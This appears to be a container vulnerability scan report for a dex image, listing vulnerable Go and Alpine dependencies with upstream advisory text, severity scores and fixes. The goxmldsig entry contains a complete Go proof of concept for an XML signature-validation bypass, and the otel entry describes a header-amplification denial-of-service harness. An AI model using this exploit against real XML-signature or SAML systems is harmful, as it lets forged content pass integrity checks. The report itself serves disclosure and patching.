| Affected range | <5.9.0 | | Fixed version | 5.9.0 | | CVSS Score | 8.1 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N | | EPSS Score | 0.310% | | EPSS Percentile | 23rd percentile |
Description
Impact
Multiple path traversal issues exist across different components of go-billy. Insufficient path sanitization and boundary enforcement may allow crafted paths (e.g., using ..) to escape intended base directories.
While go-billy was not originally designed to provide a strong security boundary, some of these issues were inconsistent across some of the built-in implementations. This results in scenarios where applications relying on go-billy for some level of isolation may inadvertently expose access to unintended filesystem locations.
The osfs.ChrootOS implementation is notably affected by this vulnerability and is now deprecated in v5, removed at v6. Users are recommended to move on to osfs.BoundOS instead: osfs.New(path, WithBoundOS()).
Users requiring stronger security boundary enforcement are recommended to upgrade to v6, where the osfs implementation are backed by the traversal-resistant primitive os.Root.
Patches
Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-billy version.
Credits
Thanks to @faran66 and @vnykmshr for finding and separately reporting this issue privately to the go-git project. 🙇
 Uncontrolled Recursion
| Affected range | <5.9.0 | | Fixed version | 5.9.0 | | CVSS Score | 6.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.295% | | EPSS Percentile | 22nd percentile |
Description
Impact
Multiple components may improperly handle crafted or malformed input, resulting in panics, infinite loops, uncontrolled recursion, or excessive resource consumption.
These issues arise from insufficient validation and missing safety mechanisms such as cycle detection, recursion limits, or defensive handling of unexpected states when processing untrusted repository data and filesystem structures.
Patches
Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-billy version.
Credits
Thanks to @faran66 for finding and reporting this issue privately to the go-git project. 🙇
|
github.com/go-jose/go-jose/v4 4.1.3 (golang)
pkg:golang/github.com/go-jose/go-jose/v4@4.1.3
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
 Uncaught Exception
| Affected range | <4.1.4 | | Fixed version | 4.1.4 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.651% | | EPSS Percentile | 47th percentile |
Description
Impact
Decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key.
This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected.
This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common.
Panics can lead to denial of service.
Fixed In
4.1.4 and v3.0.5
Workarounds
If the list of keyAlgorithms passed to ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() does not include key wrapping algorithms (those ending in KW), your application is unaffected.
If your application uses key wrapping, you can prevalidate to the JWE objects to ensure the encrypted_key field is nonempty. If your application accepts JWE Compact Serialization, apply that validation to the corresponding field of that serialization (the data between the first and second .).
Thanks
Thanks to Datadog's Security team for finding this issue.
|
google.golang.org/grpc 1.79.3 (golang)
pkg:golang/google.golang.org/grpc@1.79.3
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
Uncaught Exception
| Affected range | <1.82.1 | | Fixed version | 1.82.1 | | CVSS Score | 8.8 | | CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N |
Description
Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing
Metadata or RequestedServerName fields.
- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing
NOT rules around unsupported fields.
Impact
What kind of vulnerability is it? Who is impacted?
- Affected Component: xDS RBAC
- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported
permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops.
- If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
- If these unsupported rules were nested inside logical
NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine.
As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.
HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts
- Affected Component: HTTP/2 transport
- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as
SETTINGS ACKs or server-initiated RST_STREAMs.
When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).
Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules
- Affected Component: xDS RBAC
- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a
NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.
An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).
Patches
Has the problem been patched? What versions should users upgrade to?
All three issues have been fixed in master and will be released in 1.82.1 shortly.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:
- For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing
Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers.
- For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2
max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.
Severity
| Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |
|---|
| xDS RBAC Authorization Bypass | High | 8.2 | Unauthorized Access / Fail-Open | | HTTP/2 Rapid Reset DOS Bypass | High | 7.5 | High CPU Consumption / Denial of Service | | xDS RBAC Engine Server Panic | Medium | 5.9 | Process Crash / Denial of Service |
|
go.opentelemetry.io/otel 1.39.0 (golang)
pkg:golang/go.opentelemetry.io/otel@1.39.0
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
 Uncontrolled Resource Consumption
| Affected range | >=1.36.0
<=1.40.0
| | Fixed version | 1.41.0 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | EPSS Score | 0.435% | | EPSS Percentile | 36th percentile |
Description
multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.
severity
HIGH (availability / remote request amplification)
relevant links
vulnerability details
pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a
as-of: 2026-02-04
policy: direct (no program scope provided)
callsite: propagation/baggage.go:58 (extractMultiBaggage)
attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation
root cause
extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).
impact
in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.
example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):
- canonical:
per_req_alloc_bytes=10315458 and p95_ms=7
- control:
per_req_alloc_bytes=133429 and p95_ms=0
proof of concept
canonical:
mkdir -p poc
unzip poc.zip -d poc
cd poc
make test
output (excerpt):
[CALLSITE_HIT]: propagation/baggage.go:58 extractMultiBaggage
[PROOF_MARKER]: baggage_multi_value_amplification p95_ms=7 per_req_alloc_bytes=10315458 per_req_allocs=16165
control:
control output (excerpt):
[NC_MARKER]: baggage_single_value_baseline p95_ms=0 per_req_alloc_bytes=133429 per_req_allocs=480
expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget.
actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.
fix recommendation
avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).
fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for per_req_alloc_bytes and per_req_allocs, and p95_ms stays below 2ms.
poc.zip
PR_DESCRIPTION.md
|
github.com/russellhaering/goxmldsig 1.5.0 (golang)
pkg:golang/github.com/russellhaering/goxmldsig@1.5.0
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
 Improper Verification of Cryptographic Signature
| Affected range | <=1.5.0 | | Fixed version | 1.6.0 | | CVSS Score | 7.5 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N | | EPSS Score | 0.299% | | EPSS Percentile | 22nd percentile |
Description
Details
The validateSignature function in validate.go goes through the references in the SignedInfo block to find one that matches the signed element's ID. In Go versions before 1.22, or when go.mod uses an older version, there is a loop variable capture issue. The code takes the address of the loop variable _ref instead of its value. As a result, if more than one reference matches the ID or if the loop logic is incorrect, the ref pointer will always end up pointing to the last element in the SignedInfo.References slice after the loop.
Technical Details
The code takes the address of a loop iteration variable (&_ref). In the standard Go compiler, this variable is only allocated once for the whole loop, so its address stays the same, but its value changes with each iteration.
As a result, any pointer to this variable will always point to the value of the last element processed by the loop, no matter which element matched the search criteria.
Using Radare2, I found that the assembly at 0x1001c5908 (the start of the loop) loads the iteration values but does not create a new allocation (runtime.newobject) for the variable _ref inside the loop. The address &_ref stays the same during the loop (due to stack or heap slot reuse), which confirms the pointer aliasing issue.
for _, _ref := range signedInfo.References {
if _ref.URI == "" || _ref.URI[1:] == idAttr {
ref = &_ref
}
}
PoC
The PoC generates a signed document containing two elements and confirms that altering the first element to match the second produces a valid signature.
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"fmt"
"math/big"
"time"
"github.com/beevik/etree"
dsig "github.com/russellhaering/goxmldsig"
)
func main() {
key, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
panic(err)
}
template := &x509.Certificate{
SerialNumber: big.NewInt(1),
NotBefore: time.Now().Add(-1 * time.Hour),
NotAfter: time.Now().Add(1 * time.Hour),
}
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
if err != nil {
panic(err)
}
cert, _ := x509.ParseCertificate(certDER)
doc := etree.NewDocument()
root := doc.CreateElement("Root")
root.CreateAttr("ID", "target")
root.SetText("Malicious Content")
tlsCert := tls.Certificate{
Certificate: [][]byte{cert.Raw},
PrivateKey: key,
}
ks := dsig.TLSCertKeyStore(tlsCert)
signingCtx := dsig.NewDefaultSigningContext(ks)
sig, err := signingCtx.ConstructSignature(root, true)
if err != nil {
panic(err)
}
signedInfo := sig.FindElement("./SignedInfo")
existingRef := signedInfo.FindElement("./Reference")
existingRef.CreateAttr("URI", "#dummy")
originalEl := etree.NewElement("Root")
originalEl.CreateAttr("ID", "target")
originalEl.SetText("Original Content")
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
signedInfo.InsertChildAt(existingRef.Index(), ref1)
c14n := signingCtx.Canonicalizer
detachedSI := signedInfo.Copy()
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
}
canonicalBytes, err := c14n.Canonicalize(detachedSI)
if err != nil {
fmt.Println("c14n error:", err)
return
}
hash := signingCtx.Hash.New()
hash.Write(canonicalBytes)
digest := hash.Sum(nil)
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
if err != nil {
panic(err)
}
sigVal := sig.FindElement("./SignatureValue")
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
certStore := &dsig.MemoryX509CertificateStore{
Roots: []*x509.Certificate{cert},
}
valCtx := dsig.NewDefaultValidationContext(certStore)
root.AddChild(sig)
doc.SetRoot(root)
str, _ := doc.WriteToString()
fmt.Println("XML:")
fmt.Println(str)
validated, err := valCtx.Validate(root)
if err != nil {
fmt.Println("validation failed:", err)
} else {
fmt.Println("validation ok")
fmt.Println("validated text:", validated.Text())
}
}
Impact
This vulnerability lets an attacker get around integrity checks for certain signed elements by replacing their content with the content from another element that is also referenced in the same signature.
Update the loop to capture the value correctly or use the index to reference the slice directly.
func (ctx *ValidationContext) validateSignature(el *etree.Element, sig *types.Signature) error {
var ref *types.Reference
for i := range signedInfo.References {
if signedInfo.References[i].URI == "" ||
signedInfo.References[i].URI[1:] == idAttr {
ref = &signedInfo.References[i]
break
}
}
}
References
https://cwe.mitre.org/data/definitions/347.html
https://cwe.mitre.org/data/definitions/682.html
https://github.com/russellhaering/goxmldsig/blob/main/validate.go
Author: Tomas Illuminati
|
 github.com/aws/aws-sdk-go 1.55.7 (golang)
pkg:golang/github.com/aws/aws-sdk-go@1.55.7
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
| Affected range | >=0 | | Fixed version | Not Fixed | | EPSS Score | 0.348% | | EPSS Percentile | 27th percentile |
Description
A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
| Affected range | >=0 | | Fixed version | Not Fixed | | EPSS Score | 0.231% | | EPSS Percentile | 14th percentile |
Description
A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
|
github.com/aws/aws-sdk-go-v2/service/s3 1.95.1 (golang)
pkg:golang/github.com/aws/aws-sdk-go-v2/service/s3@1.95.1
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
 Improper Input Validation
| Affected range | <1.97.3 | | Fixed version | 1.97.3 | | CVSS Score | 5.9 | | CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Description
CVSSv3.1 Rating: [Medium]
CVSSv3.1 Score: [5.9]
CVSSv3.1 Vector String: [CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H]
Summary and Impact
An issue exists in the the EventStream header decoder in AWS SDK for Go v2 in versions predating 2026-03-23. An actor can send a malformed EventStream response frame containing a crafted header value type byte outside the valid range, which can cause the host process to terminate.
Impacted versions: < 2026-03-23
Patches
This issue has been addressed in versions 2026-03-23 and above. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.
Workarounds
Not Applicable
References
If you have any questions or comments about this advisory, we ask that you contact [AWS/Amazon] Security via our vulnerability reporting page or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.
|
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream 1.7.4 (golang)
pkg:golang/github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@1.7.4
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
Improper Input Validation
| Affected range | <1.7.8 | | Fixed version | 1.7.8 | | CVSS Score | 5.9 | | CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Description
CVSSv3.1 Rating: [Medium]
CVSSv3.1 Score: [5.9]
CVSSv3.1 Vector String: [CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H]
Summary and Impact
An issue exists in the the EventStream header decoder in AWS SDK for Go v2 in versions predating 2026-03-23. An actor can send a malformed EventStream response frame containing a crafted header value type byte outside the valid range, which can cause the host process to terminate.
Impacted versions: < 2026-03-23
Patches
This issue has been addressed in versions 2026-03-23 and above. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.
Workarounds
Not Applicable
References
If you have any questions or comments about this advisory, we ask that you contact [AWS/Amazon] Security via our vulnerability reporting page or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.
|
github.com/azure/go-ntlmssp 0.0.0-20221128193559-754e69321358 (golang)
pkg:golang/github.com/azure/go-ntlmssp@0.0.0-20221128193559-754e69321358
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
 Integer Overflow or Wraparound
| Affected range | <0.1.1 | | Fixed version | 0.1.1 | | CVSS Score | 5.3 | | CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L | | EPSS Score | 1.027% | | EPSS Percentile | 60th percentile |
Description
go-ntlmssp is a Go package that provides NTLM/Negotiate authentication over HTTP. Prior to version 0.1.1, a malicious NTLM challenge message can causes an slice out of bounds panic, which can crash any Go process using ntlmssp.Negotiator as an HTTP transport. Version 0.1.1 patches the issue.
|
busybox 1.37.0-r30 (apk)
pkg:apk/alpine/busybox@1.37.0-r30?os_name=alpine&os_version=3.23
# dex-release.dockerfile (68:68)
FROM dexidp/dex:${DEX_VERSION}-alpine
| Affected range | <=1.37.0-r30 | | Fixed version | Not Fixed | | EPSS Score | 0.285% | | EPSS Percentile | 21st percentile |
Description |
github.com/cloudflare/circl 1.6.1 (golang)
pkg:golang/github.com/cloudflare/circl@1.6.1
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
 Incorrect Calculation
| Affected range | <1.6.3 | | Fixed version | 1.6.3 | | CVSS Score | 2.9 | | CVSS Vector | CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/S:N/AU:Y/U:Amber | | EPSS Score | 0.397% | | EPSS Percentile | 32nd percentile |
Description
The CombinedMult function in the CIRCL ecc/p384 package (secp384r1 curve) produces an incorrect value for specific inputs. The issue is fixed by using complete addition formulas.
ECDH and ECDSA signing relying on this curve are not affected.
The bug was fixed in v1.6.3.
|
golang.org/x/sys 0.41.0 (golang)
pkg:golang/golang.org/x/sys@0.41.0
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
| Affected range | <0.44.0 | | Fixed version | 0.44.0 | | EPSS Score | 0.114% | | EPSS Percentile | 2nd percentile |
Description
NewNTUnicodeString does not check for string length overflow. When provided with a string that overflows the maximum size of a NTUnicodeString (a 16-bit number of bytes), it returns a truncated string rather than an error.
|
golang.org/x/sys 0.40.0 (golang)
pkg:golang/golang.org/x/sys@0.40.0
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
| Affected range | <0.44.0 | | Fixed version | 0.44.0 | | EPSS Score | 0.114% | | EPSS Percentile | 2nd percentile |
Description
NewNTUnicodeString does not check for string length overflow. When provided with a string that overflows the maximum size of a NTUnicodeString (a 16-bit number of bytes), it returns a truncated string rather than an error.
|
golang.org/x/text 0.33.0 (golang)
pkg:golang/golang.org/x/text@0.33.0
# dex-release.dockerfile (81:81)
COPY --from=gomplate-builder /go/bin/gomplate /usr/local/bin/gomplate
| Affected range | <0.39.0 | | Fixed version | 0.39.0 | | EPSS Score | 0.222% | | EPSS Percentile | 13th percentile |
Description
A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.
|
golang.org/x/text 0.34.0 (golang)
pkg:golang/golang.org/x/text@0.34.0
# dex-release.dockerfile (79:79)
COPY --from=builder /go/bin/dex /usr/local/bin/dex
| Affected range | <0.39.0 | | Fixed version | 0.39.0 | | EPSS Score | 0.222% | | EPSS Percentile | 13th percentile |
Description
A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.
|
